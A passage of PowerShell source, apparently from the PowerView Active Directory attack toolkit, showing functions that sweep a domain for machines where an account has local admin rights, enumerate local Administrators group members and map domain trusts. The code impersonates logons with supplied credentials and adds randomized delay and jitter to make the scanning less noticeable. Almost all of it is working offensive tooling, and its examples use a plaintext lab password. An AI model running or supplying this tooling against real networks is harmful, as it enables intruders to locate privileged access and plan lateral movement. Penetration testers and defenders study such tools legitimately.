  18885 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  18886 
  18887 .PARAMETER Credential
  18888 
  18889 A [Management.Automation.PSCredential] object of alternate credentials
  18890 for connection to the target domain and target systems.
  18891 
  18892 .PARAMETER Delay
  18893 
  18894 Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
  18895 
  18896 .PARAMETER Jitter
  18897 
  18898 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  18899 
  18900 .PARAMETER Threads
  18901 
  18902 The number of threads to use for user searching, defaults to 20.
  18903 
  18904 .EXAMPLE
  18905 
  18906 Find-LocalAdminAccess
  18907 
  18908 Finds machines in the current domain the current user has admin access to.
  18909 
  18910 .EXAMPLE
  18911 
  18912 Find-LocalAdminAccess -Domain dev.testlab.local
  18913 
  18914 Finds machines in the dev.testlab.local domain the current user has admin access to.
  18915 
  18916 .EXAMPLE
  18917 
  18918 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  18919 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  18920 Find-LocalAdminAccess -Domain testlab.local -Credential $Cred
  18921 
  18922 Finds machines in the testlab.local domain that the user with the specified -Credential
  18923 has admin access to.
  18924 
  18925 .OUTPUTS
  18926 
  18927 String
  18928 
  18929 Computer dnshostnames the current user has administrative access to.
  18930 #>
  18931 
  18932     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  18933     [OutputType([String])]
  18934     Param(
  18935         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  18936         [Alias('DNSHostName')]
  18937         [String[]]
  18938         $ComputerName,
  18939 
  18940         [ValidateNotNullOrEmpty()]
  18941         [String]
  18942         $ComputerDomain,
  18943 
  18944         [ValidateNotNullOrEmpty()]
  18945         [String]
  18946         $ComputerLDAPFilter,
  18947 
  18948         [ValidateNotNullOrEmpty()]
  18949         [String]
  18950         $ComputerSearchBase,
  18951 
  18952         [ValidateNotNullOrEmpty()]
  18953         [Alias('OperatingSystem')]
  18954         [String]
  18955         $ComputerOperatingSystem,
  18956 
  18957         [ValidateNotNullOrEmpty()]
  18958         [Alias('ServicePack')]
  18959         [String]
  18960         $ComputerServicePack,
  18961 
  18962         [ValidateNotNullOrEmpty()]
  18963         [Alias('SiteName')]
  18964         [String]
  18965         $ComputerSiteName,
  18966 
  18967         [Switch]
  18968         $CheckShareAccess,
  18969 
  18970         [ValidateNotNullOrEmpty()]
  18971         [Alias('DomainController')]
  18972         [String]
  18973         $Server,
  18974 
  18975         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  18976         [String]
  18977         $SearchScope = 'Subtree',
  18978 
  18979         [ValidateRange(1, 10000)]
  18980         [Int]
  18981         $ResultPageSize = 200,
  18982 
  18983         [ValidateRange(1, 10000)]
  18984         [Int]
  18985         $ServerTimeLimit,
  18986 
  18987         [Switch]
  18988         $Tombstone,
  18989 
  18990         [Management.Automation.PSCredential]
  18991         [Management.Automation.CredentialAttribute()]
  18992         $Credential = [Management.Automation.PSCredential]::Empty,
  18993 
  18994         [ValidateRange(1, 10000)]
  18995         [Int]
  18996         $Delay = 0,
  18997 
  18998         [ValidateRange(0.0, 1.0)]
  18999         [Double]
  19000         $Jitter = .3,
  19001 
  19002         [Int]
  19003         [ValidateRange(1, 100)]
  19004         $Threads = 20
  19005     )
  19006 
  19007     BEGIN {
  19008         $ComputerSearcherArguments = @{
  19009             'Properties' = 'dnshostname'
  19010         }
  19011         if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
  19012         if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
  19013         if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
  19014         if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
  19015         if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
  19016         if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
  19017         if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
  19018         if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
  19019         if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
  19020         if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
  19021         if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  19022         if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
  19023         if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
  19024 
  19025         if ($PSBoundParameters['ComputerName']) {
  19026             $TargetComputers = $ComputerName
  19027         }
  19028         else {
  19029             Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain'
  19030             $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
  19031         }
  19032         Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)"
  19033         if ($TargetComputers.Length -eq 0) {
  19034             throw '[Find-LocalAdminAccess] No hosts found to enumerate'
  19035         }
  19036 
  19037         # the host enumeration block we're using to enumerate all servers
  19038         $HostEnumBlock = {
  19039             Param($ComputerName, $TokenHandle)
  19040 
  19041             if ($TokenHandle) {
  19042                 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
  19043                 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
  19044             }
  19045 
  19046             ForEach ($TargetComputer in $ComputerName) {
  19047                 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
  19048                 if ($Up) {
  19049                     # check if the current user has local admin access to this server
  19050                     $Access = Test-AdminAccess -ComputerName $TargetComputer
  19051                     if ($Access.IsAdmin) {
  19052                         $TargetComputer
  19053                     }
  19054                 }
  19055             }
  19056 
  19057             if ($TokenHandle) {
  19058                 Invoke-RevertToSelf
  19059             }
  19060         }
  19061 
  19062         $LogonToken = $Null
  19063         if ($PSBoundParameters['Credential']) {
  19064             if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  19065                 $LogonToken = Invoke-UserImpersonation -Credential $Credential
  19066             }
  19067             else {
  19068                 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
  19069             }
  19070         }
  19071     }
  19072 
  19073     PROCESS {
  19074         # only ignore threading if -Delay is passed
  19075         if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  19076 
  19077             Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)"
  19078             Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter"
  19079             $Counter = 0
  19080             $RandNo = New-Object System.Random
  19081 
  19082             ForEach ($TargetComputer in $TargetComputers) {
  19083                 $Counter = $Counter + 1
  19084 
  19085                 # sleep for our semi-randomized interval
  19086                 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  19087 
  19088                 Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
  19089                 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken
  19090             }
  19091         }
  19092         else {
  19093             Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads"
  19094 
  19095             # if we're using threading, kick off the script block with New-ThreadedFunction
  19096             $ScriptParams = @{
  19097                 'TokenHandle' = $LogonToken
  19098             }
  19099 
  19100             # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
  19101             New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
  19102         }
  19103     }
  19104 }
  19105 
  19106 
  19107 function Find-DomainLocalGroupMember {
  19108 <#
  19109 .SYNOPSIS
  19110 
  19111 Enumerates the members of specified local group (default administrators)
  19112 for all the targeted machines on the current (or specified) domain.
  19113 
  19114 Author: Will Schroeder (@harmj0y)  
  19115 License: BSD 3-Clause  
  19116 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction  
  19117 
  19118 .DESCRIPTION
  19119 
  19120 This function enumerates all machines on the current (or specified) domain
  19121 using Get-DomainComputer, and enumerates the members of the specified local
  19122 group (default of Administrators) for each machine using Get-NetLocalGroupMember.
  19123 By default, the API method is used, but this can be modified with '-Method winnt'
  19124 to use the WinNT service provider.
  19125 
  19126 .PARAMETER ComputerName
  19127 
  19128 Specifies an array of one or more hosts to enumerate, passable on the pipeline.
  19129 If -ComputerName is not passed, the default behavior is to enumerate all machines
  19130 in the domain returned by Get-DomainComputer.
  19131 
  19132 .PARAMETER ComputerDomain
  19133 
  19134 Specifies the domain to query for computers, defaults to the current domain.
  19135 
  19136 .PARAMETER ComputerLDAPFilter
  19137 
  19138 Specifies an LDAP query string that is used to search for computer objects.
  19139 
  19140 .PARAMETER ComputerSearchBase
  19141 
  19142 Specifies the LDAP source to search through for computers,
  19143 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  19144 
  19145 .PARAMETER ComputerOperatingSystem
  19146 
  19147 Search computers with a specific operating system, wildcards accepted.
  19148 
  19149 .PARAMETER ComputerServicePack
  19150 
  19151 Search computers with a specific service pack, wildcards accepted.
  19152 
  19153 .PARAMETER ComputerSiteName
  19154 
  19155 Search computers in the specific AD Site name, wildcards accepted.
  19156 
  19157 .PARAMETER GroupName
  19158 
  19159 The local group name to query for users. If not given, it defaults to "Administrators".
  19160 
  19161 .PARAMETER Method
  19162 
  19163 The collection method to use, defaults to 'API', also accepts 'WinNT'.
  19164 
  19165 .PARAMETER Server
  19166 
  19167 Specifies an Active Directory server (domain controller) to bind to.
  19168 
  19169 .PARAMETER SearchScope
  19170 
  19171 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
  19172 
  19173 .PARAMETER ResultPageSize
  19174 
  19175 Specifies the PageSize to set for the LDAP searcher object.
  19176 
  19177 .PARAMETER ServerTimeLimit
  19178 
  19179 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  19180 
  19181 .PARAMETER Tombstone
  19182 
  19183 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  19184 
  19185 .PARAMETER Credential
  19186 
  19187 A [Management.Automation.PSCredential] object of alternate credentials
  19188 for connection to the target domain and target systems.
  19189 
  19190 .PARAMETER Delay
  19191 
  19192 Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
  19193 
  19194 .PARAMETER Jitter
  19195 
  19196 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  19197 
  19198 .PARAMETER Threads
  19199 
  19200 The number of threads to use for user searching, defaults to 20.
  19201 
  19202 .EXAMPLE
  19203 
  19204 Find-DomainLocalGroupMember
  19205 
  19206 Enumerates the local group memberships for all reachable machines in the current domain.
  19207 
  19208 .EXAMPLE
  19209 
  19210 Find-DomainLocalGroupMember -Domain dev.testlab.local
  19211 
  19212 Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.
  19213 
  19214 .EXAMPLE
  19215 
  19216 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  19217 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  19218 Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred
  19219 
  19220 Enumerates the local group memberships for all reachable machines the dev.testlab.local
  19221 domain using the alternate credentials.
  19222 
  19223 .OUTPUTS
  19224 
  19225 PowerView.LocalGroupMember.API
  19226 
  19227 Custom PSObject with translated group property fields from API results.
  19228 
  19229 PowerView.LocalGroupMember.WinNT
  19230 
  19231 Custom PSObject with translated group property fields from WinNT results.
  19232 #>
  19233 
  19234     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  19235     [OutputType('PowerView.LocalGroupMember.API')]
  19236     [OutputType('PowerView.LocalGroupMember.WinNT')]
  19237     Param(
  19238         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  19239         [Alias('DNSHostName')]
  19240         [String[]]
  19241         $ComputerName,
  19242 
  19243         [ValidateNotNullOrEmpty()]
  19244         [String]
  19245         $ComputerDomain,
  19246 
  19247         [ValidateNotNullOrEmpty()]
  19248         [String]
  19249         $ComputerLDAPFilter,
  19250 
  19251         [ValidateNotNullOrEmpty()]
  19252         [String]
  19253         $ComputerSearchBase,
  19254 
  19255         [ValidateNotNullOrEmpty()]
  19256         [Alias('OperatingSystem')]
  19257         [String]
  19258         $ComputerOperatingSystem,
  19259 
  19260         [ValidateNotNullOrEmpty()]
  19261         [Alias('ServicePack')]
  19262         [String]
  19263         $ComputerServicePack,
  19264 
  19265         [ValidateNotNullOrEmpty()]
  19266         [Alias('SiteName')]
  19267         [String]
  19268         $ComputerSiteName,
  19269 
  19270         [Parameter(ValueFromPipelineByPropertyName = $True)]
  19271         [ValidateNotNullOrEmpty()]
  19272         [String]
  19273         $GroupName = 'Administrators',
  19274 
  19275         [ValidateSet('API', 'WinNT')]
  19276         [Alias('CollectionMethod')]
  19277         [String]
  19278         $Method = 'API',
  19279 
  19280         [ValidateNotNullOrEmpty()]
  19281         [Alias('DomainController')]
  19282         [String]
  19283         $Server,
  19284 
  19285         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  19286         [String]
  19287         $SearchScope = 'Subtree',
  19288 
  19289         [ValidateRange(1, 10000)]
  19290         [Int]
  19291         $ResultPageSize = 200,
  19292 
  19293         [ValidateRange(1, 10000)]
  19294         [Int]
  19295         $ServerTimeLimit,
  19296 
  19297         [Switch]
  19298         $Tombstone,
  19299 
  19300         [Management.Automation.PSCredential]
  19301         [Management.Automation.CredentialAttribute()]
  19302         $Credential = [Management.Automation.PSCredential]::Empty,
  19303 
  19304         [ValidateRange(1, 10000)]
  19305         [Int]
  19306         $Delay = 0,
  19307 
  19308         [ValidateRange(0.0, 1.0)]
  19309         [Double]
  19310         $Jitter = .3,
  19311 
  19312         [Int]
  19313         [ValidateRange(1, 100)]
  19314         $Threads = 20
  19315     )
  19316 
  19317     BEGIN {
  19318         $ComputerSearcherArguments = @{
  19319             'Properties' = 'dnshostname'
  19320         }
  19321         if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
  19322         if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
  19323         if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
  19324         if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
  19325         if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
  19326         if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
  19327         if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
  19328         if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
  19329         if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
  19330         if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
  19331         if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  19332         if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
  19333         if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
  19334 
  19335         if ($PSBoundParameters['ComputerName']) {
  19336             $TargetComputers = $ComputerName
  19337         }
  19338         else {
  19339             Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain'
  19340             $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
  19341         }
  19342         Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)"
  19343         if ($TargetComputers.Length -eq 0) {
  19344             throw '[Find-DomainLocalGroupMember] No hosts found to enumerate'
  19345         }
  19346 
  19347         # the host enumeration block we're using to enumerate all servers
  19348         $HostEnumBlock = {
  19349             Param($ComputerName, $GroupName, $Method, $TokenHandle)
  19350 
  19351             # Add check if user defaults to/selects "Administrators"
  19352             if ($GroupName -eq "Administrators") {
  19353                 $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null)
  19354                 $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1]
  19355             }
  19356 
  19357             if ($TokenHandle) {
  19358                 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
  19359                 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
  19360             }
  19361 
  19362             ForEach ($TargetComputer in $ComputerName) {
  19363                 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
  19364                 if ($Up) {
  19365                     $NetLocalGroupMemberArguments = @{
  19366                         'ComputerName' = $TargetComputer
  19367                         'Method' = $Method
  19368                         'GroupName' = $GroupName
  19369                     }
  19370                     Get-NetLocalGroupMember @NetLocalGroupMemberArguments
  19371                 }
  19372             }
  19373 
  19374             if ($TokenHandle) {
  19375                 Invoke-RevertToSelf
  19376             }
  19377         }
  19378 
  19379         $LogonToken = $Null
  19380         if ($PSBoundParameters['Credential']) {
  19381             if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  19382                 $LogonToken = Invoke-UserImpersonation -Credential $Credential
  19383             }
  19384             else {
  19385                 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
  19386             }
  19387         }
  19388     }
  19389 
  19390     PROCESS {
  19391         # only ignore threading if -Delay is passed
  19392         if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  19393 
  19394             Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)"
  19395             Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter"
  19396             $Counter = 0
  19397             $RandNo = New-Object System.Random
  19398 
  19399             ForEach ($TargetComputer in $TargetComputers) {
  19400                 $Counter = $Counter + 1
  19401 
  19402                 # sleep for our semi-randomized interval
  19403                 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  19404 
  19405                 Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
  19406                 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken
  19407             }
  19408         }
  19409         else {
  19410             Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads"
  19411 
  19412             # if we're using threading, kick off the script block with New-ThreadedFunction
  19413             $ScriptParams = @{
  19414                 'GroupName' = $GroupName
  19415                 'Method' = $Method
  19416                 'TokenHandle' = $LogonToken
  19417             }
  19418 
  19419             # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
  19420             New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
  19421         }
  19422     }
  19423 
  19424     END {
  19425         if ($LogonToken) {
  19426             Invoke-RevertToSelf -TokenHandle $LogonToken
  19427         }
  19428     }
  19429 }
  19430 
  19431 
  19432 ########################################################
  19433 #
  19434 # Domain trust functions below.
  19435 #
  19436 ########################################################
  19437 
  19438 function Get-DomainTrust {
  19439 <#
  19440 .SYNOPSIS
  19441 
  19442 Return all domain trusts for the current domain or a specified domain.
  19443 
  19444 Author: Will Schroeder (@harmj0y)  
  19445 License: BSD 3-Clause  
  19446 Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect  
  19447 
  19448 .DESCRIPTION
  19449 
  19450 This function will enumerate domain trust relationships for the current (or a remote)
  19451 domain using a number of methods. By default, and LDAP search using the filter
  19452 '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
  19453 LDAP is used as well. If the -NET flag is specified, the .NET method
  19454 GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
  19455 object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
  19456 used to enumerate instead.
  19457 
  19458 .PARAMETER Domain
  19459 
  19460 Specifies the domain to query for trusts, defaults to the current domain.
  19461 
  19462 .PARAMETER API
  19463 
  19464 Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in
  19465 .NET methods.
  19466 
  19467 .PARAMETER NET
  19468 
  19469 Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
  19470 
  19471 .PARAMETER LDAPFilter
  19472 
  19473 Specifies an LDAP query string that is used to filter Active Directory objects.
  19474 
  19475 .PARAMETER Properties
  19476 
  19477 Specifies the properties of the output object to retrieve from the server.
  19478 
  19479 .PARAMETER SearchBase
  19480 
  19481 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  19482 Useful for OU queries.
  19483 
  19484 .PARAMETER Server
  19485 
  19486 Specifies an Active Directory server (domain controller) to bind to.
  19487 
  19488 .PARAMETER SearchScope
  19489 
  19490 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  19491 
  19492 .PARAMETER ResultPageSize
  19493 
  19494 Specifies the PageSize to set for the LDAP searcher object.
  19495 
  19496 .PARAMETER ServerTimeLimit
  19497 
  19498 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  19499 
  19500 .PARAMETER Tombstone
  19501 
  19502 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  19503 
  19504 .PARAMETER FindOne
  19505 
  19506 Only return one result object.
  19507 
  19508 .PARAMETER Credential
  19509 
  19510 A [Management.Automation.PSCredential] object of alternate credentials
  19511 for connection to the target domain.
  19512 
  19513 .EXAMPLE
  19514 
  19515 Get-DomainTrust
  19516 
  19517 Return domain trusts for the current domain using built in .LDAP methods.
  19518 
  19519 .EXAMPLE
  19520 
  19521 Get-DomainTrust -NET -Domain "prod.testlab.local"
  19522 
  19523 Return domain trusts for the "prod.testlab.local" domain using .NET methods
  19524 
  19525 .EXAMPLE
  19526 
  19527 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  19528 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  19529 Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred
  19530 
  19531 Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
  19532 queries, binding to the PRIMARY.testlab.local server for queries, and using the specified
  19533 alternate credenitals.
  19534 
  19535 .EXAMPLE
  19536 
  19537 Get-DomainTrust -API -Domain "prod.testlab.local"
  19538 
  19539 Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
  19540 
  19541 .OUTPUTS
  19542 
  19543 PowerView.DomainTrust.LDAP
  19544 
  19545 Custom PSObject with translated domain LDAP trust result fields (default).
  19546 
  19547 PowerView.DomainTrust.NET
  19548 
  19549 A TrustRelationshipInformationCollection returned when using .NET methods.
  19550 
  19551 PowerView.DomainTrust.API
  19552 
  19553 Custom PSObject with translated domain API trust result fields.
  19554 #>
  19555 
  19556     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  19557     [OutputType('PowerView.DomainTrust.NET')]
  19558     [OutputType('PowerView.DomainTrust.LDAP')]
  19559     [OutputType('PowerView.DomainTrust.API')]
  19560     [CmdletBinding(DefaultParameterSetName = 'LDAP')]
  19561     Param(
  19562         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  19563         [Alias('Name')]
  19564         [ValidateNotNullOrEmpty()]
  19565         [String]
  19566         $Domain,
  19567 
  19568         [Parameter(ParameterSetName = 'API')]
  19569         [Switch]
  19570         $API,
  19571 
  19572         [Parameter(ParameterSetName = 'NET')]
  19573         [Switch]
  19574         $NET,
  19575 
  19576         [Parameter(ParameterSetName = 'LDAP')]
  19577         [ValidateNotNullOrEmpty()]
  19578         [Alias('Filter')]
  19579         [String]
  19580         $LDAPFilter,
  19581 
  19582         [Parameter(ParameterSetName = 'LDAP')]
  19583         [ValidateNotNullOrEmpty()]
  19584         [String[]]
  19585         $Properties,
  19586 
  19587         [Parameter(ParameterSetName = 'LDAP')]
  19588         [ValidateNotNullOrEmpty()]
  19589         [Alias('ADSPath')]
  19590         [String]
  19591         $SearchBase,
  19592 
  19593         [Parameter(ParameterSetName = 'LDAP')]
  19594         [Parameter(ParameterSetName = 'API')]
  19595         [ValidateNotNullOrEmpty()]
  19596         [Alias('DomainController')]
  19597         [String]
  19598         $Server,
  19599 
  19600         [Parameter(ParameterSetName = 'LDAP')]
  19601         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  19602         [String]
  19603         $SearchScope = 'Subtree',
  19604 
  19605         [Parameter(ParameterSetName = 'LDAP')]
  19606         [ValidateRange(1, 10000)]
  19607         [Int]
  19608         $ResultPageSize = 200,
  19609 
  19610         [Parameter(ParameterSetName = 'LDAP')]
  19611         [ValidateRange(1, 10000)]
  19612         [Int]
  19613         $ServerTimeLimit,
  19614 
  19615         [Parameter(ParameterSetName = 'LDAP')]
  19616         [Switch]
  19617         $Tombstone,
  19618 
  19619         [Alias('ReturnOne')]
  19620         [Switch]
  19621         $FindOne,
  19622 
  19623         [Parameter(ParameterSetName = 'LDAP')]
  19624         [Management.Automation.PSCredential]
  19625         [Management.Automation.CredentialAttribute()]
  19626         $Credential = [Management.Automation.PSCredential]::Empty
  19627     )
  19628 
  19629     BEGIN {
  19630         $TrustAttributes = @{
  19631             [uint32]'0x00000001' = 'NON_TRANSITIVE'
  19632             [uint32]'0x00000002' = 'UPLEVEL_ONLY'
  19633             [uint32]'0x00000004' = 'FILTER_SIDS'
  19634             [uint32]'0x00000008' = 'FOREST_TRANSITIVE'
  19635             [uint32]'0x00000010' = 'CROSS_ORGANIZATION'
  19636             [uint32]'0x00000020' = 'WITHIN_FOREST'
  19637             [uint32]'0x00000040' = 'TREAT_AS_EXTERNAL'
  19638             [uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION'
  19639             [uint32]'0x00000100' = 'TRUST_USES_AES_KEYS'
  19640             [uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION'
  19641             [uint32]'0x00000400' = 'PIM_TRUST'
  19642         }
  19643 
  19644         $LdapSearcherArguments = @{}
  19645         if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain }
  19646         if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
  19647         if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
  19648         if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase }
  19649         if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
  19650         if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope }
  19651         if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
  19652         if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  19653         if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
  19654         if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
  19655     }
  19656 
  19657     PROCESS {
  19658         if ($PsCmdlet.ParameterSetName -ne 'API') {
  19659             $NetSearcherArguments = @{}
  19660             if ($Domain -and $Domain.Trim() -ne '') {
  19661                 $SourceDomain = $Domain
  19662             }
  19663             else {
  19664                 if ($PSBoundParameters['Credential']) {
  19665                     $SourceDomain = (Get-Domain -Credential $Credential).Name
  19666                 }
  19667                 else {
  19668                     $SourceDomain = (Get-Domain).Name
  19669                 }
  19670             }
  19671         }
  19672         elseif ($PsCmdlet.ParameterSetName -ne 'NET') {
  19673             if ($Domain -and $Domain.Trim() -ne '') {
  19674                 $SourceDomain = $Domain
  19675             }
  19676             else {
  19677                 $SourceDomain = $Env:USERDNSDOMAIN
  19678             }
  19679         }
  19680 
  19681         if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
  19682             # if we're searching for domain trusts through LDAP/ADSI
  19683             $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments
  19684             $SourceSID = Get-DomainSID @NetSearcherArguments
  19685 
  19686             if ($TrustSearcher) {
  19687 
  19688                 $TrustSearcher.Filter = '(objectClass=trustedDomain)'
  19689 
  19690                 if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() }
  19691                 else { $Results = $TrustSearcher.FindAll() }
  19692                 $Results | Where-Object {$_} | ForEach-Object {
  19693                     $Props = $_.Properties
  19694                     $DomainTrust = New-Object PSObject
  19695 
  19696                     $TrustAttrib = @()
